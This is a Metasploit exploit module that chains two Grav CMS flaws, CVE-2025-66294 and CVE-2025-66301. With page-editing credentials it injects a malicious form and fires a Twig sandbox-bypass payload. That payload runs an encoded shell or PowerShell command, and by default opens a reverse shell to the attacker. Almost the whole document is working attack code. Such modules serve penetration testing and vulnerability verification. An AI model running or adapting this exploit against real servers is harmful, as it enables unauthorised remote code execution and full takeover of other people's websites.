Grav CMS Twig SSTI Authenticated Sandbox Bypass RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Grav CMS Twig SSTI Authenticated Sandbox Bypass RCE',
        'Description' => %q{
          This module exploits a Server-Side Template Injection (SSTI)
          vulnerability (CVE-2025-66294) in Grav CMS that allows bypassing the
          Twig sandbox to achieve remote code execution. The cleanDangerousTwig
          method uses weak regex that fails to sanitize nested Twig calls within
          the evaluate_twig function. To inject the payload, this module leverages
          CVE-2025-66301, a broken access control flaw that allows users with page
          editing privileges to modify the form's YAML frontmatter process section.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Tarek Nakkouch'
        ],
        'References' => [
          ['CVE', '2025-66294'],
          ['URL', 'https://github.com/advisories/GHSA-662m-56v4-3r8f'],
          ['CVE', '2025-66301'],
          ['URL', 'https://github.com/advisories/GHSA-v8x2-fjv7-8hjh']
        ],
        'DisclosureDate' => '2025-12-01',
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'Base path to Grav CMS', '/']),
        OptString.new('USERNAME', [true, 'Grav CMS username']),
        OptString.new('PASSWORD', [true, 'Grav CMS password']),
        OptString.new('FORM_NAME', [false, 'Form page name', "form-#{Rex::Text.rand_text_alpha(8).downcase}"])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true
    )
    return CheckCode::Unknown('Connection failed') unless res

    html = res.get_html_document
    return CheckCode::Unknown('Could not parse HTML') unless html

    # First, verify this is a Grav installation
    return CheckCode::Safe('Target does not appear to be a Grav installation') unless grav_installation?(html)

    # Then verify we have access to the login form
    return CheckCode::Detected('Grav detected but login form not accessible') unless login_form_present?(html)

    version_str = get_version_after_login
    unless version_str
      return CheckCode::Detected('Grav CMS detected but version could not be determined')
    end

    version = Rex::Version.new(version_str.gsub('-', '.'))

    if version < Rex::Version.new('1.8.0.beta.27')
      return CheckCode::Appears("Grav CMS #{version_str} is vulnerable")
    end

    CheckCode::Safe("Grav CMS #{version_str} is patched")
  rescue ArgumentError
    CheckCode::Detected("Grav CMS detected, version parsing failed: #{version_str}")
  rescue ::Rex::ConnectionError
    CheckCode::Unknown('Connection failed')
  end

  def exploit
    @form_folder = datastore['FORM_NAME']
    @form_name = "exploit-#{Rex::Text.rand_text_alpha(8).downcase}"

    login
    fetch_admin_nonce
    create_form_page
    save_form_with_payload
    fetch_frontend_nonces
    execute_payload
  end

  private

  def grav_installation?(html)
    # Check for Grav-specific data attributes
    grav_checks = [
      html.at('//*[@data-gpm-grav]'),
      html.at('//*[@data-grav-field]'),
      html.at('//*[@data-grav-disabled]'),
      html.at('//*[@data-grav-default]')
    ]

    grav_checks.count { |elem| !elem.nil? } >= 2
  end

  def login_form_present?(html)
    # Check for the specific login form inputs we need
    username_input = html.at('input[@name="data[username]"]')
    password_input = html.at('input[@name="data[password]"]')

    username_input && password_input
  end

  def get_version_after_login
    result = authenticate
    return nil unless result == :success || result == :already_authenticated

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true
    )
    return nil unless res && res.code == 200

    html = res.get_html_document
    return nil unless html

    version_elem = html.at('span.grav-version')
    return nil unless version_elem

    version_elem.text.strip
  end

  def authenticate
    res = send_request_cgi!(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true
    )
    return :connection_failed unless res

    html = res.get_html_document
    return :connection_failed unless html

    nonce = html.at('input[@name="login-nonce"]/@value')
    return :already_authenticated if nonce.nil? && html.at('span.grav-version')
    return :connection_failed unless nonce

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true,
      'vars_post' => {
        'data[username]' => datastore['USERNAME'],
        'data[password]' => datastore['PASSWORD'],
        'task' => 'login',
        'login-nonce' => nonce.text
      }
    )
    return :connection_failed unless res
    return :login_failed unless [302, 303].include?(res.code)

    :success
  end

  def login
    print_status('Authenticating...')
    result = authenticate
    case result
    when :already_authenticated
      print_good('Already authenticated')
    when :success
      print_good('Login successful')
    when :connection_failed
      fail_with(Failure::Unreachable, 'Connection failed')
    when :login_failed
      fail_with(Failure::NoAccess, 'Login failed')
    else
      fail_with(Failure::UnexpectedReply, 'Unexpected authentication error')
    end
  end

  def fetch_admin_nonce
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'pages'),
      'keep_cookies' => true
    )
    fail_with(Failure::Unreachable, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected response: #{res.code}") unless res.code == 200

    html = res.get_html_document
    fail_with(Failure::UnexpectedReply, 'Could not parse admin page') unless html

    nonce = html.at('input[@name="admin-nonce"]/@value')
    fail_with(Failure::UnexpectedReply, 'Could not extract admin nonce') unless nonce

    @admin_nonce = nonce.text
  end

  def create_form_page
    print_status('Creating malicious form page...')
    res = send_request_cgi!(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'pages'),
      'keep_cookies' => true,
      'vars_post' => {
        'data[title]' => 'Contact Form',
        'data[folder]' => @form_folder,
        'data[route]' => '',
        'data[name]' => 'form',
        'data[visible]' => '',
        'data[blueprint]' => '',
        'task' => 'continue',
        'admin-nonce' => @admin_nonce
      }
    )
    fail_with(Failure::Unreachable, 'Connection failed') unless res

    html = res.get_html_document
    fail_with(Failure::UnexpectedReply, 'Could not parse form page') unless html

    form_nonce = html.at('input[@name="form-nonce"]/@value')
    unique_id = html.at('input[@name="__unique_form_id__"]/@value')
    fail_with(Failure::UnexpectedReply, 'Could not extract form nonces') unless form_nonce && unique_id

    @form_nonce = form_nonce.text
    @unique_form_id = unique_id.text
  end

  def save_form_with_payload
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'pages', @form_folder, ':add'),
      'keep_cookies' => true,
      'vars_post' => {
        'task' => 'save',
        'data[header][title]' => 'Contact Form',
        'data[content]' => 'Please submit the form',
        'data[folder]' => @form_folder,
        'data[route]' => '',
        'data[name]' => 'form',
        'data[_json][header][form]' => form_payload_json,
        '_post_entries_save' => 'edit',
        '__form-name__' => 'flex-pages',
        '__unique_form_id__' => @unique_form_id,
        'form-nonce' => @form_nonce
      }
    )
    fail_with(Failure::Unreachable, 'Connection failed') unless res
    fail_with(Failure::Unknown, 'Failed to save form') unless [200, 302, 303].include?(res.code)
  end

  def form_payload_json
    {
      'name' => @form_name,
      'fields' => { 'name' => { 'type' => 'text', 'label' => 'Name', 'required' => true } },
      'buttons' => { 'submit' => { 'type' => 'submit', 'value' => 'Submit' } },
      'process' => [{ 'message' => "{{ evaluate_twig(form.value('name')) }}" }]
    }.to_json
  end

  def fetch_frontend_nonces
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, @form_folder),
      'keep_cookies' => true
    )
    fail_with(Failure::Unreachable, 'Connection failed') unless res
    fail_with(Failure::NotFound, 'Form page not found') unless res.code == 200

    html = res.get_html_document
    fail_with(Failure::UnexpectedReply, 'Could not parse frontend form') unless html

    form_nonce = html.at('input[@name="form-nonce"]/@value')
    unique_id = html.at('input[@name="__unique_form_id__"]/@value')
    form_name = html.at('input[@name="__form-name__"]/@value')
    fail_with(Failure::UnexpectedReply, 'Could not extract frontend nonces') unless form_nonce && unique_id

    @frontend_nonce = form_nonce.text
    @frontend_unique_id = unique_id.text
    @frontend_form_name = form_name&.text || @form_name
  end

  def execute_payload
    print_status('Triggering payload execution...')
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, @form_folder),
      'keep_cookies' => true,
      'vars_post' => {
        'data[name]' => twig_payload,
        '__form-name__' => @frontend_form_name,
        '__unique_form_id__' => @frontend_unique_id,
        'form-nonce' => @frontend_nonce
      }
    }, datastore['HttpClientTimeout'])
  end

  def twig_payload
    cmd = payload.encoded

    twig_prefix = "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}" \
                  "{% set a = grav.config.set('system.twig.undefined_functions',false) %}" \
                  "{{ grav.twig.twig.getFunction('"
    twig_suffix = "') }}"

    case target['Type']
    when :win_cmd
      encoded_cmd = Rex::Text.encode_base64(cmd.encode('UTF-16LE'))

      "#{twig_prefix}powershell -enc #{encoded_cmd}#{twig_suffix}"

    else
      begin
        require 'zlib'
      rescue LoadError => e
        fail_with(Failure::Unknown, "Failed to load zlib: #{e.message}")
      end
      compressed = compress_deflate(cmd)

      # Strip newlines from base64 to avoid breaking Twig syntax
      encoded_cmd = Rex::Text.encode_base64(compressed, '')

      "#{twig_prefix}php -r \"echo gzinflate(base64_decode(\\'#{encoded_cmd}\\'));\" | sh#{twig_suffix}"
    end
  end

  def compress_deflate(data)
    deflater = Zlib::Deflate.new(Zlib::BEST_COMPRESSION, -Zlib::MAX_WBITS)
    compressed = deflater.deflate(data, Zlib::FINISH)
    deflater.close
    compressed
  end
end